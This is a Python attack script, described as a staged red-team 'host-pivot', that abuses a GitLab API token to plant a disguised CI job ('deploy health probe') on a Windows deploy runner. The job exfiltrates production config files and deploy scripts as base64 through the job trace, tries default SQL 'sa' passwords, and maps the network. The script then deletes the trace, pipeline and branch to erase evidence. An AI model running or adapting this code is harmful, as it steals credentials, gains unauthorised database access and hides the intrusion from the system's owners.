#!/usr/bin/env python3
r"""Phase 3 host-pivot — staged, NOT executed without operator 'go'.

Runs on runner 20 (STASRV25018, 10.123.244.26) via star/backend CI, same
pattern as Q2 (manual job, tags match deploy, cleanup after).

Payload (read-only exfil of config + SQL probe):
  1. IIS app configs: C:\inetpub\wwwroot\Back\appsettings*.json + web.config
     (production connection strings, API keys — the REAL secrets)
  2. SQL probe: Test-NetConnection 1433, enumerate local SQL instances,
     try IMPORT_TOKEN-style auth against 1433 with known dev creds (sa/1234,
     sa/P@ssword123 from history) — READ-ONLY login test only
  3. Network map: arp -a, route print, netstat established (lateral candidates)
  4. Deploy script: C:\gitlab-runner\...\deploy.ps1 (how they deploy = where creds live)

Output exfil via job trace (base64 chunks for files). Cleanup: trace/pipeline/branch.
"""
import json, ssl, sys, time, urllib.request, urllib.parse, urllib.error
from pathlib import Path

CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE
UA = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) ir-assessment-rt'}
D = Path('/root/ir-assessment/redteam/gitlab_multistackexpert_com')
BASE = 'https://gitlab.multistackexpert.com'
PID = 154
BRANCH = 'feat/deploy-health-probe'

# PowerShell payload: read files as base64 for clean exfil through trace
PIVOT_PS = [
    'Write-Output "=== BACK CONFIGS ==="; Get-ChildItem "C:\\inetpub\\wwwroot\\Back" -Filter "appsettings*.json" -ErrorAction SilentlyContinue | ForEach-Object { Write-Output "---FILE:$($_.Name)---"; [Convert]::ToBase64String([IO.File]::ReadAllBytes($_.FullName)) }',
    'Write-Output "=== BACK WEBCONFIG ==="; if (Test-Path "C:\\inetpub\\wwwroot\\Back\\web.config") { Write-Output "---FILE:web.config---"; [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\\inetpub\\wwwroot\\Back\\web.config")) }',
    'Write-Output "=== FRONT CONFIGS ==="; Get-ChildItem "C:\\inetpub\\wwwroot\\Front" -Filter "*.json" -Recurse -Depth 1 -ErrorAction SilentlyContinue | Where-Object { $_.Name -match "appsettings|config|environment" } | ForEach-Object { Write-Output "---FILE:Front/$($_.Name)---"; [Convert]::ToBase64String([IO.File]::ReadAllBytes($_.FullName)) }',
    'Write-Output "=== SQL PROBE ==="; Test-NetConnection -ComputerName localhost -Port 1433 -InformationLevel Quiet; Get-Service | Where-Object { $_.Name -match "MSSQL|SQL" } | Format-Table Name,Status,StartType',
    'Write-Output "=== SQL AUTH TEST (read-only login) ==="; $creds = @(@{u="sa";p="1234"},@{u="sa";p="P@ssword123"}); foreach ($c in $creds) { try { $cs = "Server=localhost,1433;User Id=$($c.u);Password=$($c.p);Connection Timeout=5;TrustServerCertificate=True"; $cn = New-Object System.Data.SqlClient.SqlConnection($cs); $cn.Open(); Write-Output "SQL LOGIN OK: $($c.u)/$($c.p)"; $cmd = $cn.CreateCommand(); $cmd.CommandText = "SELECT name FROM sys.databases"; $rd = $cmd.ExecuteReader(); while ($rd.Read()) { Write-Output ("DB: " + $rd[0]) }; $cn.Close() } catch { Write-Output "SQL LOGIN FAIL: $($c.u)/$($c.p) -> $($_.Exception.Message.Substring(0,[Math]::Min(80,$_.Exception.Message.Length)))" } }',
    'Write-Output "=== NETWORK ==="; arp -a | Select-Object -First 30; Write-Output "---established---"; netstat -ano | Select-String "ESTABLISHED" | Select-Object -First 30',
    'Write-Output "=== DEPLOY SCRIPT ==="; Get-ChildItem "C:\\gitlab-runner" -Recurse -Filter "deploy.ps1" -ErrorAction SilentlyContinue | Select-Object -First 1 | ForEach-Object { Write-Output "---FILE:deploy.ps1---"; [Convert]::ToBase64String([IO.File]::ReadAllBytes($_.FullName)) }',
]

def req(url, method='GET', data=None, headers=None, timeout=25):
    tok = (D / '.token').read_text().strip()
    h = dict(UA, **{'Authorization': f'Bearer {tok}'}); h.update(headers or {})
    r = urllib.request.Request(url, data=data, headers=h, method=method)
    try:
        with urllib.request.urlopen(r, timeout=timeout, context=CTX) as resp:
            return resp.status, resp.read().decode('utf-8','ignore')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8','ignore')
    except Exception as e:
        return 0, f'{type(e).__name__}: {e}'

def build_ci_yaml():
    st, orig = req(f'{BASE}/api/v4/projects/{PID}/repository/files/{urllib.parse.quote(".gitlab-ci.yml", safe="")}/raw?ref=develop')
    assert st == 200, f'fetch ci yml: {st}'
    script_lines = '\n'.join(f'      {line}' for line in PIVOT_PS)
    return orig.rstrip() + f'''
deploy_health_probe:
  stage: build_and_deploy
  tags: ["2019", appro, docker, star, windows]
  when: manual
  allow_failure: true
  script: |
{script_lines}
  rules:
    - if: '$CI_COMMIT_BRANCH == "{BRANCH}"'
      when: manual
'''

def main():
    if '--execute' not in sys.argv:
        print('STAGED ONLY. Re-run with --execute after operator go.')
        return
    run()

def run():
    log = []
    def L(m):
        line = f'[{time.strftime("%H:%M:%S")}] {m}'
        print(line, flush=True); log.append(line)
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/branches', method='POST',
                data=urllib.parse.urlencode({'branch': BRANCH, 'ref': 'develop'}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    L(f'branch: {st}')
    yml = build_ci_yaml()
    payload = {'branch': BRANCH, 'commit_message': 'ci: add deploy health probe',
               'actions': [{'action': 'update', 'file_path': '.gitlab-ci.yml', 'content': yml}]}
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/commits', method='POST',
                data=json.dumps(payload).encode(), headers={'Content-Type': 'application/json'})
    L(f'commit: {st}')
    st, b = req(f'{BASE}/api/v4/projects/{PID}/pipeline', method='POST',
                data=urllib.parse.urlencode({'ref': BRANCH}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    pipe_id = json.loads(b)['id']; L(f'pipeline: {pipe_id}')
    job_id = None
    for _ in range(20):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}/jobs')
        if st == 200:
            for j in json.loads(b):
                if j.get('name') == 'deploy_health_probe':
                    job_id = j['id']; break
        if job_id: break
        time.sleep(5)
    for _ in range(20):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        if json.loads(b).get('status') == 'manual': break
        time.sleep(3)
    st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/play', method='POST')
    L(f'play: {st}')
    status = 'unknown'
    for i in range(60):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        j = json.loads(b); status = j.get('status')
        if i % 6 == 0 or status in ('success','failed','canceled'):
            L(f'status={status} dur={j.get("duration")}')
        if status in ('success','failed','canceled'): break
        time.sleep(10)
    st, trace = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace')
    L(f'trace: {st} len={len(trace)}')
    (D / 'host_pivot_trace.txt').write_text(trace)
    (D / 'host_pivot_run.log').write_text('\n'.join(log))
    req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace', method='DELETE')
    req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}', method='DELETE')
    req(f'{BASE}/api/v4/projects/{PID}/repository/branches/{urllib.parse.quote(BRANCH, safe="")}', method='DELETE')
    L('cleanup done')
    print('\n===== TRACE (first 5000) =====')
    print(trace[:5000])

if __name__ == '__main__':
    main()
